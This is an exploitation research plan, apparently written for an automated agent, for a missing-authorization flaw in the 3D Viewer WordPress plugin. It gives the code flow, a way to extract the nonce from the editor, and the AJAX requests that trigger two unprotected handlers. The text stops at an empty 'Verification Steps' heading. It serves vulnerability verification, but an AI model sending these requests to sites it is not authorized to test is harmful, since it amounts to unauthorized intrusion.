Detailed Exploitation Research Plan: CVE-2026-40729

1. Vulnerability Summary

The 3D Viewer – Display Interactive 3D Models plugin (versions <= 1.8.5) contains a missing authorization vulnerability within its AJAX handlers. Specifically, the function bp3d_pipe_checker (and potentially others like dismiss_product_edit_notice) is registered for authenticated users via the wp_ajax_ hook but fails to perform any capability check (e.g., current_user_can()). This allows any authenticated user, including those with Contributor roles, to execute these functions. While the immediate impact of bp3d_pipe_checker is low, the pattern of missing authorization across the plugin's AJAX interface allows for unauthorized state modification or information disclosure of plugin internals.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: bp3d_pipe_checker
• Method: GET or POST (the code uses $_GET for the nonce but does not specify for the action, standard admin-ajax.php behavior applies).
• Parameter: _wpnonce (the nonce value).
• Required Role: Contributor or higher.
• Preconditions: The plugin must be active. The attacker must be logged in as a Contributor.

3. Code Flow

1. Registration: In 3d-viewer-block/plugin.php, the class TDVB3DViewerBlock registers the AJAX action:

   add_action('wp_ajax_bp3d_pipe_checker', [$this, 'bp3d_pipe_checker']);
   

2. Exposure: In 3d-viewer-block/inc/block.php, the onInit method localizes a script and creates a nonce with the action string 'wp_ajax':

   wp_localize_script( 'tdvb-td-viewer-editor-script', 'bp3dBlock', [
       'nonce' => wp_create_nonce( 'wp_ajax' ),
       'ajaxURL' => admin_url( 'admin-ajax.php' )
   ] );
   

   This localization is sent to the browser whenever the Block Editor is loaded by a user with editing capabilities (Contributor+).
3. Trigger: An attacker sends a request to admin-ajax.php?action=bp3d_pipe_checker&_wpnonce=[NONCE].
4. Execution: The bp3d_pipe_checker function in 3d-viewer-block/plugin.php is invoked:

   function bp3d_pipe_checker() {
       $nonce = sanitize_text_field(wp_unslash($_GET['_wpnonce'] ?? ''));
       if (!wp_verify_nonce($nonce, 'wp_ajax')) { // Nonce check only
           wp_send_json_error();
       }
       wp_send_json_success(['isPipe' => false]); // No capability check here!
   }
   

5. Vulnerability: Since there is no current_user_can() check before wp_send_json_success, the action completes for any authenticated user.

4. Nonce Acquisition Strategy

The nonce is generated with the action 'wp_ajax' and passed to the JavaScript object bp3dBlock under the key nonce.

1. Step 1: Log in as a Contributor.
2. Step 2: Navigate to the "Add New Post" page (/wp-admin/post-new.php). This loads the Gutenberg editor.
3. Step 3: Use the browser_eval tool to extract the nonce from the global scope.
   • Command: browser_eval("window.bp3dBlock?.nonce")
4. Alternative: If the script is not enqueued by default, create a post and insert a "3D Viewer" block, then refresh the editor.

5. Exploitation Strategy

Perform an unauthorized AJAX call to confirm the missing capability check.

• Login: Authenticate as contributor.
• Nonce Retrieval: Use the strategy in Section 4.
• HTTP Request (via http_request tool):
  • URL: http://[TARGET]/wp-admin/admin-ajax.php?action=bp3d_pipe_checker&_wpnonce=[EXTRACTED_NONCE]
  • Method: GET
  • Headers: Use cookies from the contributor session.
• Second Exploitation (Notice Dismissal):
  • According to build/admin.js, there is an action dismiss_product_edit_notice.
  • Request:
    • URL: http://[TARGET]/wp-admin/admin-ajax.php
    • Method: POST
    • Body: action=dismiss_product_edit_notice&security=[EXTRACTED_NONCE] (Note: This action might require a different nonce found in .bp3dv_woocommerce_admin_notice dataset if the generic wp_ajax nonce fails).

6. Test Data Setup

1. User: Create a user with the role contributor.
2. Plugin Configuration: Ensure the plugin is activated.
3. Content: No specific 3D models are required to trigger the authorization bypass on the AJAX endpoints.

7. Expected Results

• Success Condition: The server returns a HTTP 200 with a JSON body: {"success":true,"data":{"isPipe":false}}.
• Failure Condition (Fixed): If the plugin were patched, it would return a HTTP 403 or {"success":false} because the user lacks the manage_options (or similar) capability.

8. Verification Steps